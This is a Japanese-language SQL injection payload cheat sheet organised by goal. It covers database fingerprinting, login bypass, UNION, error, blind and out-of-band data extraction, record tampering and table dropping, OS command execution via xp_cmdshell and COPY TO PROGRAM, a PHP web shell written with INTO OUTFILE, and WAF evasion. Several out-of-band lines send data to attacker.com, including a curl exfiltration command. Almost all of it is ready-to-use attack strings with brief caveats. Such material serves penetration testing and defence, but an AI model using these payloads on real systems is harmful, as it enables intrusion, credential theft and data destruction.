目的別のSQLインジェクション手法一覧
🕵️ 情報収集
データベースのバージョン、ユーザー名、テーブル名、カラム名などを特定するための手法。
データベースバージョンの特定
データベース | 手法例 (UNIONベース) | 手法例 (エラーベース) | 手法例 (ブラインド) |
---|---|---|---|
MySQL | ' UNION SELECT @@version, NULL -- |
' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) -- (時間差で確認) |
' AND SUBSTRING(@@version,1,1)='5' -- |
PostgreSQL | ' UNION SELECT version(), NULL -- |
' AND 1=(SELECT CAST(version() AS NUMERIC)) -- |
' AND SUBSTRING(version(),1,1)='1' -- |
SQL Server | ' UNION SELECT @@version, NULL -- |
' AND 1=(SELECT CAST(@@version AS INT)) -- |
' AND SUBSTRING(@@version, 1, 15)='M' -- |
Oracle | ' UNION SELECT banner, NULL FROM v$version WHERE ROWNUM=1 -- |
' AND 1=UTL_INADDR.get_host_name((SELECT banner FROM v$version WHERE ROWNUM=1)) -- (DNS経由) |
' AND (SELECT SUBSTR(banner,1,1) FROM v$version WHERE ROWNUM=1)='O' -- |
SQLite | ' UNION SELECT sqlite_version(), NULL -- |
(エラーベースは難しい) | ' AND SUBSTR(sqlite_version(),1,1)='3' -- |
現在のデータベースユーザーの特定
-- MySQL / PostgreSQL
' UNION SELECT user(), NULL --
' UNION SELECT current_user, NULL --
-- SQL Server
' UNION SELECT SUSER_SNAME(), NULL --
' UNION SELECT SYSTEM_USER, NULL --
-- Oracle
' UNION SELECT user, NULL FROM dual --
データベース名/スキーマ名の特定
-- MySQL
' UNION SELECT schema_name, NULL FROM information_schema.schemata --
' UNION SELECT database(), NULL --
-- PostgreSQL
' UNION SELECT datname, NULL FROM pg_database --
' UNION SELECT current_database(), NULL --
-- SQL Server
' UNION SELECT name, NULL FROM master..sysdatabases --
' UNION SELECT DB_NAME(), NULL --
-- Oracle
' UNION SELECT owner, NULL FROM all_tables -- (スキーマ一覧)
' UNION SELECT SYS_CONTEXT('USERENV', 'DB_NAME'), NULL FROM dual --
テーブル名の特定
information_schema
(MySQL, PostgreSQL, SQL Server), all_tables
(Oracle), sqlite_master
(SQLite)などを利用します。
-- MySQL / PostgreSQL / SQL Server (DB名 'target_db' の場合)
' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = 'target_db' --
-- Oracle (スキーマ名 'TARGET_SCHEMA' の場合)
' UNION SELECT table_name, NULL FROM all_tables WHERE owner = 'TARGET_SCHEMA' --
-- SQLite
' UNION SELECT name, NULL FROM sqlite_master WHERE type='table' --
💡 ブラインドSQLインジェクションの場合、SUBSTRING
や LIKE
を使って一文字ずつ特定します。
-- 例: MySQLでテーブル名の最初の文字が 'u' かどうかを確認
' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u' --
カラム名の特定
information_schema.columns
(MySQL, PostgreSQL, SQL Server), all_tab_columns
(Oracle) などを利用します。
-- MySQL / PostgreSQL / SQL Server (テーブル名 'users' の場合)
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users' --
-- Oracle (テーブル名 'USERS', スキーマ 'TARGET_SCHEMA' の場合)
' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = 'USERS' AND owner = 'TARGET_SCHEMA' --
-- SQLite (テーブル名 'users' の pragma を利用)
-- (UNIONベースでは直接取得しにくい。エラーベースやブラインドが主)
-- 例: ブラインドで 'users' テーブルに 'password' カラムがあるか確認
' AND EXISTS (SELECT 1 FROM sqlite_master WHERE name='users' AND sql LIKE '%password%') --
💡 カラム名特定もブラインドで一文字ずつ確認可能です。
-- 例: MySQLで 'users' テーブルの最初のカラム名の最初の文字が 'i' かどうか
' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1)='i' --
🔑 認証回避
ログイン処理などを迂回して、認証を突破するための手法。
常に真となる条件の挿入
最も古典的で基本的な手法です。WHERE句の条件を常に真にします。
-- ユーザー入力が 'username' と 'password' の場合
-- username:
admin' --
admin' #
admin'/*
' OR '1'='1
' OR 'x'='x
-- password:
' OR '1'='1
' OR 'a'='a' --
' OR 1=1 --
-- SQL例: SELECT * FROM users WHERE username = '...' AND password = '...'
-- ' OR '1'='1 をユーザー名に挿入
SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = '...'
-- ' OR '1'='1' -- をパスワードに挿入 (コメントで以降を無効化)
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1' -- '
⚠️ 多くのWAFやフレームワークはこの単純なパターンを検知・防御します。
ユーザー名をコメントアウト
存在しないユーザー名でも、コメントアウトを利用して認証を試みる手法。
-- username:
admin'--
admin'#
-- password: (任意の値)
password
-- SQL例: SELECT * FROM users WHERE username = '...' AND password = '...'
-- username に admin'-- を入力
SELECT * FROM users WHERE username = 'admin'-- ' AND password = '...'
-- -> 実質的に SELECT * FROM users WHERE username = 'admin' と同じになる
UNIONベースでのユーザー指定
元のクエリがユーザーを返さない場合に、UNION SELECT で特定のユーザー(例: admin)の情報を強制的に返す手法。
-- username:
' UNION SELECT 'admin', 'hashed_password_placeholder', null, null FROM users WHERE username = 'admin' --
-- password: (任意の値)
password
-- SQL例 (カラム数が4つの場合): SELECT id, username, email, role FROM users WHERE username = '...' AND password = '...'
-- username に上記UNIONペイロードを入力
SELECT id, username, email, role FROM users WHERE username = '' UNION SELECT 'admin', 'hashed_password_placeholder', null, null FROM users WHERE username = 'admin' -- ' AND password = '...'
-- 存在しないユーザー名で検索しても、UNION で admin の情報が返るため、認証が成功する可能性がある
💡 カラム数とデータ型を合わせる必要があります。NULLや適切なダミーデータで調整します。
📄 データ抽出
データベース内の情報を不正に取得するための手法。
UNIONベースSQLインジェクション
UNION SELECT
を使用して、本来のクエリ結果に追加して、別のテーブルのデータを取得します。
手順:
- 元のクエリ結果のカラム数を特定する (
ORDER BY
やUNION SELECT NULL, NULL, ...
を使用) - 元のクエリ結果のデータ型を特定する (エラーメッセージや
UNION SELECT 'a', NULL, 1, ...
などで試行) UNION SELECT
で目的のデータを取得する
-- 1. カラム数の特定 (例: 3カラムか試す)
' ORDER BY 3 --
-- エラーが出なければ4を試す。エラーが出たらカラム数は2以下。
-- 2. データ型の特定 (例: 3カラムで、2番目が文字列型か試す)
' UNION SELECT NULL, 'a', NULL --
-- 3. データ抽出 (例: usersテーブルからusernameとpasswordを取得、カラム数は3と仮定)
' UNION SELECT NULL, username, password FROM users --
-- 複数の行を取得する場合 (MySQLの例)
' UNION SELECT NULL, GROUP_CONCAT(username, ':', password), NULL FROM users --
💡 データベースごとに文字列結合関数 (CONCAT
, ||
, +
) や集約関数 (GROUP_CONCAT
, STRING_AGG
, LISTAGG
) が異なります。
データベース | 文字列結合 | 複数行結果の結合 |
---|---|---|
MySQL | CONCAT(col1, ':', col2) |
GROUP_CONCAT(col SEPARATOR ';') |
PostgreSQL | col1 || ':' || col2 |
STRING_AGG(col, ';') |
SQL Server | col1 + ':' + col2 |
STRING_AGG(col, ';') WITHIN GROUP (ORDER BY col) (2017+) / XML PATH |
Oracle | col1 || ':' || col2 |
LISTAGG(col, ';') WITHIN GROUP (ORDER BY col) |
SQLite | col1 || ':' || col2 |
GROUP_CONCAT(col, ';') |
エラーベースSQLインジェクション
データベースのエラーメッセージを利用して情報を抽出します。意図的に型変換エラーなどを発生させ、エラーメッセージ内に目的のデータを含ませます。
-- MySQL (updatexml/extractvalue) - Version < 8.0.20 / < 5.7.30
' AND updatexml(null, concat(0x7e, (SELECT @@version)), null) --
' AND extractvalue(null, concat(0x7e, (SELECT user()))) --
-- MySQL (floor, rand, group by)
' AND (SELECT count(*) FROM information_schema.tables GROUP BY concat(floor(rand(0)*2), (SELECT @@version))) --
-- PostgreSQL (型変換エラー)
' AND 1=(SELECT CAST((SELECT user) AS NUMERIC)) --
-- SQL Server (型変換エラー)
' AND 1=(SELECT CAST((SELECT DB_NAME()) AS INT)) --
' OR 1=CONVERT(int, (SELECT @@servername)) --
-- Oracle (XMLType)
' AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||(SELECT user FROM dual)||CHR(62))) FROM dual) --
' AND 1=(SELECT CTXSYS.DRITHSX.SN(1, (SELECT user FROM dual)) FROM dual) -- (要CTXAPP権限)
⚠️ エラーメッセージが表示される設定になっている必要があります。近年の環境では表示されないことが多いです。
ブラインドSQLインジェクション
クエリの結果が直接表示されない場合に、レスポンスの違い(真偽、時間差)を利用して情報を一文字ずつ特定します。
Booleanベース
条件が真の場合と偽の場合で、ページの表示内容が異なることを利用します。
-- 例: データベースユーザー名の最初の文字が 'a' かどうか (MySQL/PostgreSQL)
' AND SUBSTRING(user(), 1, 1) = 'a' --
-- 例: 'users' テーブルの最初のレコードの 'password' カラムの長さが8文字か (汎用)
' AND LENGTH((SELECT password FROM users LIMIT 1)) = 8 --
-- 例: 'users' テーブルの最初のレコードの 'password' カラムの3文字目が 'x' か (ASCII値で比較)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1), 3, 1)) = 120 --
時間ベース
条件が真の場合に、データベースに時間のかかる処理(スリープ)を実行させ、レスポンス時間の差を利用します。
-- MySQL
' AND IF(SUBSTRING(user(),1,1)='r', SLEEP(5), 0) --
-- PostgreSQL
' AND CASE WHEN (SUBSTRING(user(),1,1)='p') THEN pg_sleep(5) ELSE NULL END --
-- SQL Server
' WAITFOR DELAY '0:0:5' --
' IF (SUBSTRING(DB_NAME(),1,1)='m') WAITFOR DELAY '0:0:5' --
-- Oracle (PL/SQLを使用)
' AND DBMS_LOCK.SLEEP(5); -- (これはスタッククエリが必要かも)
-- または
' AND 1=(SELECT CASE WHEN (SUBSTR(user,1,1)='S') THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END FROM dual) --
-- SQLite (重い処理で代替)
-- ' AND [condition] AND LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([large_number])))) -- (確実ではない)
⏰ 時間ベースはBooleanベースが使えない場合に有効ですが、ネットワーク遅延の影響を受ける可能性があります。
アウトオブバンド (Out-of-Band) SQLインジェクション
データベースサーバーから外部のサーバー(攻撃者が用意したDNSサーバーやHTTPサーバー)へリクエストを送信させ、そのリクエストに含まれる情報からデータを抽出します。
-- SQL Server (UNCパス経由でのDNSリクエスト)
' DECLARE @data VARCHAR(1024); SELECT @data = (SELECT @@version); EXEC master..xp_dirtree ('\\'+@data+'.attacker.com\share'); --
' DECLARE @q VARCHAR(1024); SET @q = '\\' + (SELECT CONVERT(VARCHAR(1000), @@SERVERNAME)) + '.' + (SELECT CONVERT(VARCHAR(1000), DB_NAME())) + '.attacker.com\foobar'; EXEC master..xp_fileexist @q; --
-- Oracle (UTL_HTTP / UTL_INADDR / DBMS_LDAP)
' UNION SELECT UTL_HTTP.request('http://attacker.com/' || (SELECT user FROM dual)), NULL FROM dual --
' UNION SELECT UTL_INADDR.get_host_address((SELECT user FROM dual) || '.attacker.com'), NULL FROM dual --
' UNION SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.com', 80), NULL FROM dual --
-- PostgreSQL (COPY FROM/TO PROGRAM - スーパーユーザー権限)
COPY (SELECT version()) TO PROGRAM 'curl http://attacker.com/?data=$(cat /dev/stdin)';
-- (Webアプリ経由では難しいことが多い)
⚠️ データベースサーバーから外部への通信がファイアウォールで許可されている必要があります。また、特定の関数実行には高い権限が必要な場合があります。
✏️ データ改ざん・削除
データベース内のデータを不正に変更、追加、削除する手法。
データの更新 (UPDATE)
既存のレコードの値を変更します。スタッククエリが利用可能な場合に有効です。
-- 例: ユーザー 'targetuser' のパスワードを 'newpassword' に変更
'; UPDATE users SET password = 'newpassword' WHERE username = 'targetuser' --
-- 例: ユーザーID 1 の権限を 'admin' に変更
' ; UPDATE users SET role = 'admin' WHERE id = 1 --
データの挿入 (INSERT)
新しいレコードを追加します。スタッククエリが利用可能な場合に有効です。
-- 例: 新しい管理者ユーザーを追加
'; INSERT INTO users (username, password, role) VALUES ('attacker', 'hashed_pass', 'admin') --
データの削除 (DELETE)
既存のレコードを削除します。スタッククエリが利用可能な場合に有効です。
-- 例: ユーザー 'victimuser' を削除
'; DELETE FROM users WHERE username = 'victimuser' --
-- 例: 全ユーザーを削除 (危険!)
'; DELETE FROM users --
テーブルの削除 (DROP TABLE)
テーブル自体を削除します。非常に破壊的な操作です。スタッククエリが必要です。
-- 例: 'logs' テーブルを削除
'; DROP TABLE logs --
-- 例: 'users' テーブルを削除 (非常に危険!)
'; DROP TABLE users --
🚨 データ改ざん・削除は極めて危険な行為であり、深刻な影響を与えます。テスト環境以外での実行は絶対に避けてください。
💡 スタッククエリ (;
を使って複数のSQL文を実行) が無効化されている場合、これらの操作は通常実行できません。
💻 OSコマンド実行
データベースの機能を利用して、基盤となるオペレーティングシステムのコマンドを実行する手法。
MySQL
sys_exec
(UDF: User Defined Function) など、追加の関数が必要な場合が多い。標準機能では限定的。
-- UDF が導入済みの場合
' UNION SELECT sys_exec('whoami'), NULL --
SELECT ... INTO OUTFILE
や SELECT ... INTO DUMPFILE
を使ってWebサーバーのドキュメントルートにファイルを作成し、Web経由で実行させる手法もあります。
-- Web Shellの書き込み (書き込み権限が必要)
' UNION SELECT '<?php system($_GET[\'cmd\']); ?>', NULL INTO OUTFILE '/var/www/html/shell.php' --
PostgreSQL
COPY FROM/TO PROGRAM
(スーパーユーザー権限) や、PL/Perl, PL/Python などの手続き言語を利用。
-- COPY PROGRAM (スーパーユーザー権限)
COPY (SELECT '') TO PROGRAM 'id > /tmp/id_output';
COPY cmd_output FROM PROGRAM 'id'; SELECT * FROM cmd_output;
-- PL/Python (要拡張機能、権限)
CREATE OR REPLACE FUNCTION exec(cmd text) RETURNS text AS $$
import subprocess
return subprocess.check_output(cmd, shell=True).decode()
$$ LANGUAGE plpython3u;
SELECT exec('whoami');
SQL Server
xp_cmdshell
ストアドプロシージャ (デフォルトでは無効なことが多い)。
-- xp_cmdshell が有効な場合
'; EXEC master..xp_cmdshell 'whoami' --
-- xp_cmdshell を有効化 (sysadmin権限が必要)
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
Oracle
DBMS_SCHEDULER
や Java ストアドプロシージャを利用。
-- DBMS_SCHEDULER (要権限)
BEGIN
DBMS_SCHEDULER.create_job (
job_name => 'my_exec_job',
job_type => 'EXECUTABLE',
job_action => '/bin/bash',
number_of_arguments => 2,
enabled => FALSE,
auto_drop => TRUE);
DBMS_SCHEDULER.set_job_argument_value('my_exec_job', 1, '-c');
DBMS_SCHEDULER.set_job_argument_value('my_exec_job', 2, 'id > /tmp/oracle_id');
DBMS_SCHEDULER.enable('my_exec_job');
END;
/
-- Java Stored Procedure (要権限)
-- (複雑な定義が必要)
⚠️ OSコマンド実行は非常に強力ですが、実行できるかどうかはデータベースの設定、権限、利用可能な関数に大きく依存します。
🧱 スタッククエリ (Stacked Queries)
セミコロン (;
) を使用して、単一の入力で複数のSQLクエリを連続して実行する手法。
-- 例: ユーザー情報を取得し、その後でデータを更新する
' ; SELECT * FROM users WHERE username = 'admin' ; UPDATE products SET price = 0 WHERE id = 123 --
特徴:
INSERT
,UPDATE
,DELETE
,DROP
などのデータ操作や定義変更が可能になる。- OSコマンド実行 (
xp_cmdshell
など) のトリガーにも使われる。 - データベースやAPIのドライバによってはサポートされていない場合がある (例: PHPの
mysql_query
関数はデフォルトでは非対応)。
対応状況の例:
- 対応: SQL Server, PostgreSQL, MySQL (一部のAPI/ドライバ)
- 非対応: Oracle (PL/SQLブロック内では可能), SQLite (一部のAPI), PHP/MySQL (標準関数)
🚀 高度なテクニック
セカンドオーダーSQLインジェクション (Second-Order SQL Injection)
悪意のある入力が一度データベースに保存され、後で別の機能がそのデータを安全でない形で読み出してSQLクエリを組み立てる際に発生するインジェクション。
シナリオ例:
- ユーザーがプロファイル名に
admin' --
を登録する。この時点では無害化されるか、そのまま保存される。 - パスワード変更機能などで、保存されたプロファイル名を読み込み、
SELECT * FROM users WHERE username = '[保存されたプロファイル名]'
のようなクエリを実行する。 - この時、
SELECT * FROM users WHERE username = 'admin' -- '
というクエリが実行され、意図しない動作を引き起こす可能性がある。
🛡️ 入力時だけでなく、データベースから読み込んだデータを使用する際も、常にプレースホルダ等で安全に扱う必要があります。
SQLインジェクションによるWAF回避
Web Application Firewall (WAF) の検知ルールを回避するためのテクニック。
- キーワードの分割・難読化:
- コメント挿入:
UNION/**/SELECT
,SEL/**/ECT
- 大文字小文字混合:
UnIoN SeLeCt
- URLエンコーディング:
%55NION %53ELECT
(U, S) - 特殊なエンコーディング: Double URL Encoding (
%2555NION
), Unicode (%u0055NION
) - 空白文字の代替:
+
,%09
(Tab),%0a
(Newline),%a0
(Non-breaking space),/**/
- 関数・変数による代替:
SELECT user()
->SELECT us%65r()
(MySQLの場合、変数や関数名に16進数表現は使えないことが多い) - 文字列連結:
'SEL' || 'ECT'
(PostgreSQL/Oracle),CONCAT('SEL','ECT')
(MySQL)
- コメント挿入:
- 代替構文の使用:
AND 1=1
->AND true
,AND 'a'='a'
,AND -1=-1
UNION SELECT
->UNION ALL SELECT
SUBSTRING(str, 1, 1)
->LEFT(str, 1)
,SUBSTR(str, 1, 1)
SLEEP(5)
->BENCHMARK(10000000, MD5('a'))
(MySQL),pg_sleep(5)
- HTTPパラメータ汚染 (HTTP Parameter Pollution – HPP):
同じ名前のパラメータを複数送信し、サーバー側の処理によっては予期せぬ値がSQLクエリに組み込まれることを狙う。
?id=1&id=' OR '1'='1
- リクエスト形式の変更:
GET
リクエストをPOST
に変えたり、Content-Type
をapplication/json
などに変更してペイロードを送信する。
⚠️ WAF回避技術は常に進化しており、上記が通用するとは限りません。WAFのシグネチャや設定に依存します。
💬 コメント構文
SQLクエリの一部を無効化するために使用されるコメントの形式。
構文 | 説明 | 対応DB (主なもの) | 注意点 |
---|---|---|---|
-- (ハイフン2つ + スペース) |
行末までをコメントアウト | MySQL, PostgreSQL, SQL Server, Oracle, SQLite | 末尾にスペースまたは改行が必要 |
# |
行末までをコメントアウト | MySQL | |
/* ... */ |
複数行またはインラインコメント | MySQL, PostgreSQL, SQL Server, Oracle | WAFで検知されやすい |
;%00 (セミコロン + Nullバイト) |
クエリの終端を偽装 (一部環境) | 古いMySQL+PHP環境など | Nullバイトインジェクション。現在では稀。 |
-- 使用例
' UNION SELECT username, password FROM users -- -
' UNION SELECT username, password FROM users #
' UNION/*comment*/SELECT/*comment*/username, password FROM users --
コメント